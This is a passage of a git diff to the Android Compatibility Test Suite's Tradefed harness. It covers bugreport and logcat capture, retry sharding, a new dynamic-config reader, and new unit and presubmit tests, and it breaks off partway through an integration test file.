+ }
+ if (api < 24) {
+ try (InputStreamSource fallback = mDevice.getBugreport()) {
+ super.testLog(String.format("%s-bugreport", test.toString()),
+ LogDataType.BUGREPORT, fallback);
+ }
+ } else {
+ try (InputStreamSource bugSource = mDevice.getBugreportz()) {
+ if (bugSource != null) {
+ super.testLog(String.format("%s-bugreportz", test.toString()),
+ LogDataType.BUGREPORTZ, bugSource);
+ } else {
+ CLog.e("Failed to capture bugreport for %s", test.toString());
+ }
+ }
+ }
}
if (mLogcatOnFailure) {
// sleep 2s to ensure test failure stack trace makes it into logcat capture
RunUtil.getDefault().sleep(2 * 1000);
- InputStreamSource logSource = mDevice.getLogcat(mMaxLogcatBytes);
- super.testLog(String.format("%s-logcat", test.toString()), LogDataType.LOGCAT,
- logSource);
- logSource.cancel();
+ try (InputStreamSource logSource = mDevice.getLogcat(mMaxLogcatBytes)) {
+ super.testLog(String.format("%s-logcat", test.toString()), LogDataType.LOGCAT,
+ logSource);
+ }
}
if (mRebootOnFailure) {
try {
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
index b682ba5..eb67cc8 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
@@ -225,13 +225,14 @@
// Need to generate a different config for each ABI as we cannot guarantee the
// configs are idempotent. This however means we parse the same file multiple times
for (IAbi abi : abis) {
- IConfiguration config = mConfigFactory.createConfigurationFromArgs(pathArg);
String id = AbiUtils.createId(abi.getName(), name);
if (!shouldRunModule(id)) {
// If the module should not run tests based on the state of filters,
// skip this name/abi combination.
continue;
}
+
+ IConfiguration config = mConfigFactory.createConfigurationFromArgs(pathArg);
if (!filterByConfigMetadata(config,
metadataIncludeFilters, metadataExcludeFilters)) {
// if the module config did not pass the metadata filters, it's excluded
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java
index 0276b3c..40bf633 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java
@@ -17,6 +17,7 @@
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
+import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
import com.android.compatibility.common.tradefed.util.RetryFilterHelper;
import com.android.compatibility.common.tradefed.util.RetryType;
import com.android.tradefed.build.IBuildInfo;
@@ -28,6 +29,7 @@
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.invoker.IInvocationContext;
+import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.result.ITestInvocationListener;
import com.android.tradefed.suite.checker.ISystemStatusChecker;
import com.android.tradefed.suite.checker.ISystemStatusCheckerReceiver;
@@ -35,9 +37,11 @@
import com.android.tradefed.testtype.IDeviceTest;
import com.android.tradefed.testtype.IInvocationContextReceiver;
import com.android.tradefed.testtype.IRemoteTest;
+import com.android.tradefed.testtype.IShardableTest;
import com.google.common.annotations.VisibleForTesting;
+import java.util.Collection;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
@@ -50,7 +54,7 @@
*/
@OptionClass(alias = "compatibility")
public class RetryFactoryTest implements IRemoteTest, IDeviceTest, IBuildReceiver,
- ISystemStatusCheckerReceiver, IInvocationContextReceiver {
+ ISystemStatusCheckerReceiver, IInvocationContextReceiver, IShardableTest {
/**
* Mirror the {@link CompatibilityTest} options in order to create it.
@@ -136,12 +140,35 @@
*/
@Override
public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
+ CompatibilityTestSuite test = loadSuite();
+ // run the retry run.
+ test.run(listener);
+ }
+
+ @Override
+ public Collection<IRemoteTest> split(int shardCountHint) {
+ try {
+ CompatibilityTestSuite test = loadSuite();
+ return test.split(shardCountHint);
+ } catch (DeviceNotAvailableException e) {
+ CLog.e("Failed to shard the retry run.");
+ CLog.e(e);
+ }
+ return null;
+ }
+
+ /**
+ * Helper to create a {@link CompatibilityTestSuite} from previous results.
+ */
+ private CompatibilityTestSuite loadSuite() throws DeviceNotAvailableException {
// Create a compatibility test and set it to run only what we want.
- CompatibilityTest test = createTest();
+ CompatibilityTestSuite test = createTest();
CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuildInfo);
// Create the helper with all the options needed.
RetryFilterHelper helper = createFilterHelper(buildHelper);
+ // TODO: we have access to the original command line, we should accommodate more re-run
+ // scenario like when the original cts.xml config was not used.
helper.validateBuildFingerprint(mDevice);
helper.setCommandLineOptionsFor(test);
helper.setCommandLineOptionsFor(this);
@@ -166,8 +193,7 @@
test.setInvocationContext(mContext);
// clean the helper
helper.tearDown();
- // run the retry run.
- test.run(listener);
+ return test;
}
@VisibleForTesting
@@ -177,7 +203,7 @@
}
@VisibleForTesting
- CompatibilityTest createTest() {
- return new CompatibilityTest();
+ CompatibilityTestSuite createTest() {
+ return new CompatibilityTestSuite();
}
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
index e065ce8..bb74f23 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
@@ -15,8 +15,8 @@
*/
package com.android.compatibility.common.tradefed.testtype.suite;
-import com.android.compatibility.SuiteInfo;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
import com.android.compatibility.common.tradefed.testtype.ISubPlan;
import com.android.compatibility.common.tradefed.testtype.SubPlan;
import com.android.compatibility.common.util.TestFilter;
@@ -31,6 +31,7 @@
import com.android.tradefed.testtype.Abi;
import com.android.tradefed.testtype.IAbi;
import com.android.tradefed.testtype.suite.ITestSuite;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
import com.android.tradefed.util.AbiFormatter;
import com.android.tradefed.util.AbiUtils;
import com.android.tradefed.util.ArrayUtil;
@@ -67,6 +68,12 @@
private static final String PRIMARY_ABI_RUN = "primary-abi-only";
private static final String PRODUCT_CPU_ABI_KEY = "ro.product.cpu.abi";
+ // TODO: remove this option when CompatibilityTest goes away
+ @Option(name = CompatibilityTest.RETRY_OPTION,
+ shortName = 'r',
+ description = "Copy of --retry from CompatibilityTest to prevent using it.")
+ private Integer mRetrySessionId = null;
+
@Option(name = SUBPLAN_OPTION,
description = "the subplan to run",
importance = Importance.IF_UNSET)
@@ -146,6 +153,10 @@
*/
@Override
public LinkedHashMap<String, IConfiguration> loadTests() {
+ if (mRetrySessionId != null) {
+ throw new IllegalArgumentException("--retry cannot be specified with cts-suite.xml. "
+ + "Use 'run cts --retry <session id>' instead.");
+ }
try {
setupFilters();
Set<IAbi> abis = getAbis(getDevice());
@@ -223,7 +234,7 @@
* Exposed for testing.
*/
protected Set<String> getAbisForBuildTargetArch() {
- return AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+ return AbiUtils.getAbisForArch(TestSuiteInfo.getInstance().getTargetArch());
}
/**
@@ -281,4 +292,18 @@
filters.clear();
filters.addAll(cleanedFilters);
}
+
+ /**
+ * Sets include-filters for the compatibility test
+ */
+ public void setIncludeFilter(Set<String> includeFilters) {
+ mIncludeFilters.addAll(includeFilters);
+ }
+
+ /**
+ * Sets exclude-filters for the compatibility test
+ */
+ public void setExcludeFilter(Set<String> excludeFilters) {
+ mExcludeFilters.addAll(excludeFilters);
+ }
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java
index ae91ad1..65203dd 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java
@@ -79,7 +79,9 @@
*/
public static void pullFromHost(File src, File dest) {
try {
- FileUtil.recursiveCopy(src, dest);
+ if (src.listFiles() != null) {
+ FileUtil.recursiveCopy(src, dest);
+ }
FileUtil.recursiveDelete(src);
} catch (IOException e) {
CLog.e("Caught exception during pull.");
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/DynamicConfigFileReader.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/DynamicConfigFileReader.java
new file mode 100644
index 0000000..f2b7f3c
--- /dev/null
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/DynamicConfigFileReader.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.util;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.util.DynamicConfig;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Utility to read the data from a dynamic config file.
+ */
+public class DynamicConfigFileReader {
+
+ /**
+ * Returns the value of a key from a downloaded file.
+ *
+ * @param file The file downloaded, can be retrieve via
+ * {@link CompatibilityBuildHelper#getDynamicConfigFiles()}
+ * @param key the key inside the file which value we want to return
+ * @return the value associated to the key in the config file provided.
+ */
+ public static String getValueFromConfig(File file, String key)
+ throws XmlPullParserException, IOException {
+ Map<String, List<String>> configMap = DynamicConfig.createConfigMap(file);
+ List<String> singleValue = configMap.get(key);
+ if (singleValue == null || singleValue.size() == 0 || singleValue.size() > 1) {
+ // key must exist in the map, and map to a list containing exactly one string
+ return null;
+ }
+ return singleValue.get(0);
+ }
+
+ /**
+ * Returns the multiple values of a key from a downloaded file.
+ *
+ * @param file The file downloaded, can be retrieve via
+ * {@link CompatibilityBuildHelper#getDynamicConfigFiles()}
+ * @param key the key inside the file which values we want to return
+ * @return the values associated to the key in the config file provided.
+ */
+ public static List<String> getValuesFromConfig(File file, String key)
+ throws XmlPullParserException, IOException {
+ return DynamicConfig.createConfigMap(file).get(key);
+ }
+
+ /**
+ * Returns the value of a key from the build info and module targeted.
+ *
+ * @param info the {@link IBuildInfo} of the run.
+ * @param moduleName the name of the module we need the dynamic file from.
+ * @param key the key inside the file which value we want to return
+ * @return the value associated to the key in the dynamic config associated with the module.
+ */
+ public static String getValueFromConfig(IBuildInfo info, String moduleName, String key)
+ throws XmlPullParserException, IOException {
+ CompatibilityBuildHelper helper = new CompatibilityBuildHelper(info);
+ File dynamicConfig = helper.getDynamicConfigFiles().get(moduleName);
+ if (dynamicConfig == null) {
+ CLog.w("Config file %s, not found in the map of dynamic configs.", moduleName);
+ return null;
+ }
+ return getValueFromConfig(dynamicConfig, key);
+ }
+
+ /**
+ * Returns the multiple values of a key from the build info and module targeted.
+ *
+ * @param info the {@link IBuildInfo} of the run.
+ * @param moduleName the name of the module we need the dynamic file from.
+ * @param key the key inside the file which values we want to return
+ * @return the values associated to the key in the dynamic config associated with the module.
+ */
+ public static List<String> getValuesFromConfig(IBuildInfo info, String moduleName, String key)
+ throws XmlPullParserException, IOException {
+ CompatibilityBuildHelper helper = new CompatibilityBuildHelper(info);
+ File dynamicConfig = helper.getDynamicConfigFiles().get(moduleName);
+ if (dynamicConfig == null) {
+ CLog.w("Config file %s, not found in the map of dynamic configs.", moduleName);
+ return null;
+ }
+ return getValuesFromConfig(dynamicConfig, key);
+ }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
index b36d960..5aaa542 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
@@ -16,8 +16,10 @@
package com.android.compatibility.common.tradefed;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelperTest;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildProviderTest;
import com.android.compatibility.common.tradefed.command.CompatibilityConsoleTest;
import com.android.compatibility.common.tradefed.config.ConfigurationFactoryTest;
+import com.android.compatibility.common.tradefed.presubmit.ApkPackageNameCheck;
import com.android.compatibility.common.tradefed.presubmit.CtsConfigLoadingTest;
import com.android.compatibility.common.tradefed.presubmit.IntegrationTest;
import com.android.compatibility.common.tradefed.presubmit.PresubmitSetupValidation;
@@ -41,6 +43,7 @@
import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuiteTest;
import com.android.compatibility.common.tradefed.testtype.suite.ModuleRepoSuiteTest;
import com.android.compatibility.common.tradefed.util.CollectorUtilTest;
+import com.android.compatibility.common.tradefed.util.DynamicConfigFileReaderTest;
import com.android.compatibility.common.tradefed.util.OptionHelperTest;
import com.android.compatibility.common.tradefed.util.RetryFilterHelperTest;
import com.android.compatibility.common.tradefed.util.UniqueModuleCountUtilTest;
@@ -58,6 +61,7 @@
@SuiteClasses({
// build
CompatibilityBuildHelperTest.class,
+ CompatibilityBuildProviderTest.class,
// command
CompatibilityConsoleTest.class,
@@ -66,6 +70,7 @@
ConfigurationFactoryTest.class,
// presubmit
+ ApkPackageNameCheck.class,
CtsConfigLoadingTest.class,
IntegrationTest.class,
PresubmitSetupValidation.class,
@@ -101,6 +106,7 @@
// util
CollectorUtilTest.class,
+ DynamicConfigFileReaderTest.class,
OptionHelperTest.class,
RetryFilterHelperTest.class,
UniqueModuleCountUtilTest.class,
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelperTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelperTest.java
index 44c262d..829dcc0 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelperTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelperTest.java
@@ -174,6 +174,40 @@
}
/**
+ * Test that adding dynamic config to be tracked for reporting is backed by {@link File}
+ * references and not absolute path. When sharding, path are invalidated but Files are copied.
+ */
+ public void testAddDynamicFiles() throws Exception {
+ File tmpDynamicFile = FileUtil.createTempFile("cts-test-file", ".dynamic");
+ FileUtil.writeToFile("test string", tmpDynamicFile);
+ try {
+ mHelper.addDynamicConfigFile("CtsModuleName", tmpDynamicFile);
+ File currentDynamicFile = mHelper.getDynamicConfigFiles().get("CtsModuleName");
+ assertNotNull(currentDynamicFile);
+ assertEquals(tmpDynamicFile, currentDynamicFile);
+ // In case of sharding the underlying build info will be cloned, and old build cleaned.
+ IBuildInfo clone = mBuild.clone();
+ try {
+ mBuild.cleanUp();
+ // With cleanup the current dynamic file tracked are cleaned
+ assertFalse(currentDynamicFile.exists());
+ CompatibilityBuildHelper helperShard = new CompatibilityBuildHelper(clone);
+ File newDynamicFile = helperShard.getDynamicConfigFiles().get("CtsModuleName");
+ assertNotNull(newDynamicFile);
+ // the cloned build has the infos but backed by other file
+ assertFalse(
+ tmpDynamicFile.getAbsolutePath().equals(newDynamicFile.getAbsolutePath()));
+ // content has also followed.
+ assertEquals("test string", FileUtil.readStringFromFile(newDynamicFile));
+ } finally {
+ clone.cleanUp();
+ }
+ } finally {
+ FileUtil.deleteFile(tmpDynamicFile);
+ }
+ }
+
+ /**
* Sets the *_ROOT property of the build's installation location.
*
* @param value the value to set, or null to clear the property.
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProviderTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProviderTest.java
new file mode 100644
index 0000000..50c5da3
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProviderTest.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.build;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.build.IDeviceBuildInfo;
+import com.android.tradefed.config.OptionSetter;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.util.FileUtil;
+
+import org.easymock.EasyMock;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+
+/**
+ * Unit tests for {@link CompatibilityBuildProvider}.
+ */
+@RunWith(JUnit4.class)
+public class CompatibilityBuildProviderTest {
+
+ private CompatibilityBuildProvider mProvider;
+ private ITestDevice mMockDevice;
+ private File mRootDir;
+
+ @Before
+ public void setUp() throws Exception {
+ mMockDevice = EasyMock.createMock(ITestDevice.class);
+ mRootDir = FileUtil.createTempDir("cts-root-dir");
+ mProvider = new CompatibilityBuildProvider() {
+ @Override
+ String getRootDirPath() {
+ return mRootDir.getAbsolutePath();
+ }
+ };
+ }
+
+ @After
+ public void tearDown() {
+ FileUtil.recursiveDelete(mRootDir);
+ }
+
+ /**
+ * Tests getting the build info without using the device information.
+ */
+ @Test
+ public void testBaseGetBuild() throws Exception {
+ EasyMock.replay(mMockDevice);
+ IBuildInfo info = mProvider.getBuild(mMockDevice);
+ EasyMock.verify(mMockDevice);
+ assertFalse(info instanceof IDeviceBuildInfo);
+ }
+
+ /**
+ * Tests building build infos using the device information.
+ */
+ @Test
+ public void testBaseGetBuild_withDevice() throws Exception {
+ OptionSetter setter = new OptionSetter(mProvider);
+ setter.setOptionValue("use-device-build-info", "true");
+ setter.setOptionValue("branch", "build_branch");
+ EasyMock.expect(mMockDevice.getBuildId()).andReturn("8888");
+ EasyMock.expect(mMockDevice.getBuildFlavor()).andReturn("flavor");
+ EasyMock.expect(mMockDevice.getBuildAlias()).andReturn("alias");
+ EasyMock.replay(mMockDevice);
+ IBuildInfo info = mProvider.getBuild(mMockDevice);
+ EasyMock.verify(mMockDevice);
+ assertTrue(info instanceof IDeviceBuildInfo);
+ // tests dir should be populated
+ assertNotNull(((IDeviceBuildInfo)info).getTestsDir());
+ // ensure that tests dir is never clean up.
+ mProvider.cleanUp(info);
+ assertNotNull(((IDeviceBuildInfo)info).getTestsDir());
+ }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
new file mode 100644
index 0000000..92f3f05
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.presubmit;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.config.ConfigurationFactory;
+import com.android.tradefed.config.IConfiguration;
+import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.targetprep.TestAppInstallSetup;
+import com.android.tradefed.util.AaptParser;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+import java.io.FilenameFilter;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Class to validate tests Apks in testcases/
+ */
+@RunWith(JUnit4.class)
+public class ApkPackageNameCheck {
+
+ private static final Set<String> EXCEPTION_LIST = new HashSet<>();
+ static {
+ // TODO: Remove exception when their package have been fixed.
+ EXCEPTION_LIST.add("android.app.cts");
+ EXCEPTION_LIST.add("android.systemui.cts");
+ }
+
+ /**
+ * We ensure that no apk with same package names may be installed. Otherwise it may results in
+ * conflicts.
+ */
+ @Test
+ public void testApkPackageNames() throws Exception {
+ String ctsRoot = System.getProperty("CTS_ROOT");
+ File testcases = new File(ctsRoot, "/android-cts/testcases/");
+ if (!testcases.exists()) {
+ fail(String.format("%s does not exists", testcases));
+ return;
+ }
+ File[] listConfig = testcases.listFiles(new FilenameFilter() {
+ @Override
+ public boolean accept(File dir, String name) {
+ if (name.endsWith(".config")) {
+ return true;
+ }
+ return false;
+ }
+ });
+ assertTrue(listConfig.length > 0);
+ // We check all apk installed by all modules
+ Map<String, String> packageNames = new HashMap<>();
+
+ for (File config : listConfig) {
+ IConfiguration c = ConfigurationFactory.getInstance()
+ .createConfigurationFromArgs(new String[] {config.getAbsolutePath()});
+ // For each config, we check all the apk it's going to install
+ List<String> apkNames = new ArrayList<>();
+ for (ITargetPreparer prep : c.getTargetPreparers()) {
+ if (prep instanceof TestAppInstallSetup) {
+ apkNames.addAll(((TestAppInstallSetup) prep).getTestsFileName());
+ }
+ }
+
+ for (String apkName : apkNames) {
+ File apkFile = new File(testcases, apkName);
+ if (!apkFile.exists()) {
+ fail(String.format("Module %s is trying to install %s which does not "
+ + "exists in testcases/", config.getName(), apkFile));
+ }
+ AaptParser res = AaptParser.parse(apkFile);
+ assertNotNull(res);
+ String packageName = res.getPackageName();
+ String put = packageNames.put(packageName, apkName);
+ // The package already exists and it's a different apk
+ if (put != null && !apkName.equals(put) && !EXCEPTION_LIST.contains(packageName)) {
+ fail(String.format("Module %s: Package name '%s' from apk '%s' was already "
+ + "added by previous apk '%s'.",
+ config.getName(), packageName, apkName, put));
+ }
+ }
+ }
+ }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
index 4dab43f..bcc82ac 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
@@ -18,12 +18,17 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.tradefed.targetprep.ApkInstaller;
+import com.android.compatibility.common.tradefed.testtype.JarHostTest;
+import com.android.tradefed.build.FolderBuildInfo;
import com.android.tradefed.config.ConfigurationDescriptor;
import com.android.tradefed.config.ConfigurationException;
import com.android.tradefed.config.ConfigurationFactory;
import com.android.tradefed.config.IConfiguration;
import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.testtype.HostTest;
+import com.android.tradefed.testtype.IRemoteTest;
import org.junit.Assert;
import org.junit.Test;
@@ -61,6 +66,7 @@
"metrics",
"misc",
"networking",
+ "neuralnetworks",
"renderscript",
"security",
"systems",
@@ -75,6 +81,7 @@
/**
* Test that configuration shipped in Tradefed can be parsed.
* -> Exclude deprecated ApkInstaller.
+ * -> Check if host-side tests are non empty.
*/
@Test
public void testConfigurationLoad() throws Exception {
@@ -94,10 +101,15 @@
}
});
assertTrue(listConfig.length > 0);
+ // Create a FolderBuildInfo to similate the CompatibilityBuildProvider
+ FolderBuildInfo stubFolder = new FolderBuildInfo("-1", "-1");
+ stubFolder.setRootDir(new File(ctsRoot));
+ stubFolder.addBuildAttribute(CompatibilityBuildHelper.SUITE_NAME, "CTS");
// We expect to be able to load every single config in testcases/
for (File config : listConfig) {
IConfiguration c = ConfigurationFactory.getInstance()
.createConfigurationFromArgs(new String[] {config.getAbsolutePath()});
+ // Ensure the deprecated ApkInstaller is not used anymore.
for (ITargetPreparer prep : c.getTargetPreparers()) {
if (prep.getClass().isAssignableFrom(ApkInstaller.class)) {
throw new ConfigurationException(
@@ -107,6 +119,19 @@
+ "the same.", config));
}
}
+ // We can ensure that Host side tests are not empty.
+ for (IRemoteTest test : c.getTests()) {
+ if (test instanceof HostTest) {
+ HostTest hostTest = (HostTest) test;
+ // We inject a made up folder so that it can find the tests.
+ hostTest.setBuild(stubFolder);
+ int testCount = hostTest.countTestCases();
+ if (testCount == 0) {
+ throw new ConfigurationException(
+ String.format("%s: %s reports 0 test cases.", config, test));
+ }
+ }
+ }
ConfigurationDescriptor cd = c.getConfigurationDescription();
Assert.assertNotNull(config + ": configuration descriptor is null", cd);
List<String> component = cd.getMetaData(METADATA_COMPONENT);
@@ -123,6 +148,17 @@
Assert.assertTrue(String.format("Module config contains unknown \"component\" metadata "
+ "field \"%s\", supported ones are: %s\nconfig: %s",
cmp, KNOWN_COMPONENTS, config), KNOWN_COMPONENTS.contains(cmp));
+ // Check not-shardable: JarHostTest cannot create empty shards so it should never need
+ // to be not-shardable.
+ if (cd.isNotShardable()) {
+ for (IRemoteTest test : c.getTests()) {
+ if (test.getClass().isAssignableFrom(JarHostTest.class)) {
+ throw new ConfigurationException(
+ String.format("config: %s. JarHostTest does not need the "
+ + "not-shardable option.", config.getName()));
+ }
+ }
+ }
}
}
}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
index 609fe6b..4dbd3a9 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
@@ -18,7 +18,6 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
-import com.android.compatibility.SuiteInfo;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.tradefed.result.ResultReporter;
import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
@@ -40,6 +39,7 @@
import com.android.tradefed.testtype.IDeviceTest;
import com.android.tradefed.testtype.IInvocationContextReceiver;
import com.android.tradefed.testtype.IRemoteTest;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
import com.android.tradefed.util.AbiUtils;
import com.android.tradefed.util.FileUtil;
@@ -53,6 +53,7 @@
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
+import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
@@ -136,6 +137,8 @@
EasyMock.expect(mMockDevice.getSerialNumber()).andStubReturn("SERIAL");
EasyMock.expect(mMockBuildInfo.getDeviceSerial()).andStubReturn("SERIAL");
+ EasyMock.expect(mMockBuildInfo.getFiles()).andStubReturn(Collections.emptyList());
+
mContext = new InvocationContext();
mContext.addAllocatedDevice("default", mMockDevice);
mContext.addDeviceBuildInfo("default", mMockBuildInfo);
@@ -196,7 +199,7 @@
*/
@Test
public void testSingleModuleRun() throws Exception {
- final String moduleName = "moduleA";
+ final String moduleName = "module_run";
final String mAbi = "arm64-v8a";
createConfig(mTestDir, moduleName, TEST_STUB, true, true, true, false);
EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
@@ -299,7 +302,7 @@
*/
@Test
public void testSingleModuleRun_incomplete() throws Exception {
- final String moduleName = "moduleA";
+ final String moduleName = "module_run_incomplete";
final String mAbi = "arm64-v8a";
createConfig(mTestDir, moduleName, TEST_STUB, true, false, true, false);
EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
@@ -328,7 +331,7 @@
*/
@Test
public void testSingleModuleRun_completeAfterInternalRetry() throws Exception {
- final String moduleName = "moduleA";
+ final String moduleName = "module_completeAfterRetry";
final String mAbi = "arm64-v8a";
createConfig(mTestDir, moduleName, TEST_STUB, true, true, true, true);
EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
@@ -358,7 +361,7 @@
*/
@Test
public void testSingleModuleRun_incomplete_rerun_incomplete() throws Exception {
- final String moduleName = "moduleA";
